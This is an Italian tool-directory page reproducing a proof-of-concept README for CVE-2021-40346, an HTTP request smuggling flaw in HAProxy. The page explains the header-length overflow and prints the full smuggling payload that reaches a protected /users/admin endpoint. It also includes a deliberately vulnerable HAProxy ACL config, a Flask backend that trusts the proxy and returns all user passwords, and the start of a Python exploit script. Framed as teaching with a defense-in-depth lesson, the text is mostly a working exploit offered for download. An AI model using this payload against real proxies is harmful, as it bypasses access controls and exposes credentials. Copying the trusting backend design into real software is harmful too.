Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-40346 — Contrabbando di richieste HTTP | Kitploit
Strumenti/GitHubGitHub/boianeduard/cve-2021-40346
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e Formazione
GitHubboianeduard/cve-2021-40346

CVE-2021-40346

Contrabbando di richieste HTTP

Vedi Repository
16 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-40346: HAProxy HTTP Request Smuggling - Bypass ACL

Panoramica

Questo progetto dimostra CVE-2021-40346, una vulnerabilità critica di integer overflow in HAProxy che consente attacchi di HTTP Request Smuggling per aggirare i controlli di sicurezza.

Punteggio CVSSv3: 7.5 (Alto)

Collaboratori:

  1. Boian Eduard
  2. Borsos Matheas-Roland

Cos'è CVE-2021-40346?

CVE-2021-40346 è una vulnerabilità di integer overflow nella logica di parsing degli header HTTP di HAProxy. Quando il nome di un header supera i 255 byte, il valore della lunghezza trabocca da un campo a 8 bit, causando un'errata interpretazione dell'header durante l'inoltro della richiesta.

Come funziona l'attacco

Analisi passo-passo

  1. L'attaccante invia: Nome header = "Content-Length0" + 255×'a' = 270 byte

  2. Fase 1 (Parsing iniziale):

    • HAProxy legge tutti i 270 byte del nome dell'header
    • Memorizza name_length = 270 % 256 = 14 (overflow a 8 bit)
    • Il bit di overflow imposta value_length = 1
    • Legge il legittimo header Content-Length: 60 e lo tratta come lunghezza del corpo
    • Legge 60 byte come corpo della richiesta (contenente la richiesta contrabbandata)
  3. Fase 2 (Inoltro della richiesta):

    • Incontra il blocco dell'header traboccato
    • Legge solo i primi 14 caratteri: "Content-Length"
    • Legge 1 carattere per il valore (alla posizione 14): "0"
    • Aggiunge content-length: 0 alla richiesta inoltrata
    • Ignora il vero header Content-Length: 60 (come da logica normale)
  4. Elaborazione del backend:

    • Riceve content-length: 0 da HAProxy
    • Analizza una richiesta POST senza corpo
    • Tratta il "corpo" (richiesta GET contrabbandata) come la successiva richiesta HTTP
    • Elabora la richiesta contrabbandata, bypassando tutte le ACL di HAProxy

Esempio del flusso dell'attacco

Bypass delle regole ACL per accedere all'endpoint admin

Considera HAProxy configurato con regole ACL che limitano l'accesso alle route admin:

http-request deny if { path_beg /users/admin }

Nel nostro PoC, utilizziamo una sessione utente normale (alice) per accedere all'endpoint protetto /users/admin che dovrebbe essere accessibile solo agli amministratori.

Richiesta malevola (Richiesta 1 - Veleno):

POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 78

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:

Richiesta inoltrata da HAProxy:

POST / HTTP/1.1
host: 127.0.0.1:8080
content-length: 0
x-forwarded-for: 192.168.188.1

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:

Richiesta di completamento (Richiesta 2):

GET / HTTP/1.1
Host: 127.0.0.1:8080

Richiesta contrabbandata completa elaborata dal backend:

GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:GET / HTTP/1.1
Host: 127.0.0.1:8080

Risultato:

  1. HAProxy inoltra POST / con content-length: 0 (l'ACL vede una route sicura)
  2. Il backend elabora POST / (nessun corpo) e attende la prossima richiesta
  3. Il backend tratta la GET /users/admin incompleta contrabbandata come richiesta in sospeso
  4. La Richiesta 2 completa la richiesta contrabbandata
  5. Il backend elabora GET /users/admin con la sessione di alice, bypassando l'ACL di HAProxy
  6. La risposta contenente i segreti dell'admin viene restituita all'attaccante

Prova di concetto

Setup dell'ambiente di test

Configurazione HAProxy (haproxy.cfg)

L'istanza vulnerabile di HAProxy è configurata con regole ACL per proteggere l'endpoint admin:

...
    # ACL per rilevare l'accesso all'endpoint admin
    acl is_admin_endpoint path_beg /users/admin
    
    # ACL per verificare il cookie di sessione admin
    acl has_admin_session cook(session) -m beg admin_
    
    # Negare l'accesso all'endpoint admin se l'utente non ha una sessione admin
    http-request deny if is_admin_endpoint !has_admin_session
...

Punti chiave:

  • Protezione ACL: /users/admin è bloccato a meno che il cookie di sessione non inizi con admin_
  • HTTP Keep-Alive (default): HAProxy utilizza la modalità keep-alive di default, riutilizzando le connessioni TCP verso il backend - questo è critico per l'attacco poiché consente più richieste sulla stessa connessione
  • Controllo degli accessi basato su sessione: Gli utenti normali (sessione che inizia con user_) vengono negati

Server backend (Flask)

Il server backend ha tre utenti e un endpoint admin:

USERS = [
    {'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
    {'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
    {'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
]

@app.route('/login', methods=['POST'])
def login():
    # ... logica di autenticazione ...
    
    # Genera token di sessione con prefisso del ruolo
    prefix = 'admin_' if user['role'] == 'admin' else 'user_'
    token = prefix + secrets.token_hex(16)
    
    resp.set_cookie('session', token, httponly=True)
    return resp

@app.route('/users/admin', methods=['GET', 'POST'])
def users_admin():
    # Restituisce dati sensibili incluse tutte le password degli utenti
    rows = ''.join([
        f"{u['id']} | {u['username']} | {u['email']} | "
        f"{u['password']} | {u['role']}" 
        for u in USERS
    ])
    
    return f"PANNIELLO ADMIN{printable_text}Tutti gli utenti con password:{rows}"

Modello di sicurezza:

  • Alice (utente normale) ottiene sessione: user_a1b2c3d4...
  • Admin ottiene sessione: admin_a1b2c3d4...
  • HAProxy blocca le richieste di alice verso /users/admin
  • Errata configurazione del backend: Il server Flask si fida ciecamente che HAProxy abbia già applicato il controllo degli accessi, e non convalida nuovamente il token di sessione né verifica se l'utente è effettivamente un admin prima di servire dati sensibili
  • Vulnerabilità: Lo smuggling HTTP bypassa il controllo ACL di HAProxy, e il backend non ha difesa in profondità

Perché funziona:

  1. HAProxy vede la richiesta esterna POST / (consentita)
  2. HAProxy controlla le ACL su POST / (nessuna restrizione admin)
  3. HAProxy inoltra content-length: 0 (a causa del bug di overflow)
  4. Il backend riceve la richiesta incompleta GET /users/admin
  5. La seconda richiesta la completa, bypassando il controllo ACL di HAProxy
  6. Il backend serve ciecamente l'endpoint admin - non controlla mai se il token di sessione è effettivamente un token admin
  7. Il backend elabora GET /users/admin direttamente, rivelando le password

Lezione sulla difesa in profondità: Questo dimostra perché i backend non dovrebbero mai fidarsi ciecamente del proxy. Anche con le ACL di HAProxy in atto, il backend dovrebbe:

  • Analizzare e convalidare il token di sessione da solo
  • Controllare il ruolo/permessi dell'utente prima di servire endpoint sensibili
  • Implementare la propria logica di autorizzazione (es. decoratore @require_admin)

Affidarsi esclusivamente ai controlli di accesso a livello di proxy crea un singolo punto di fallimento.

Sequenze chiave dello sfruttamento

Il PoC dimostra il bypass delle ACL di HAProxy per accedere a /users/admin utilizzando la sessione di un utente normale attraverso quattro passaggi chiave:

1. Autenticazione come utente normale

# Login come alice (utente non admin)
body = "username=alice&password=alice123"
login = f"POST /login HTTP/1.1\r\n" \
        f"Host: {TARGET}:{PORT}\r\n" \
        f"Content-Type: application/x-www-form-urlencoded\r\n" \
        f"Content-Length: {len(body)}\r\n\r\n{body}".encode()
Scarica lo strumento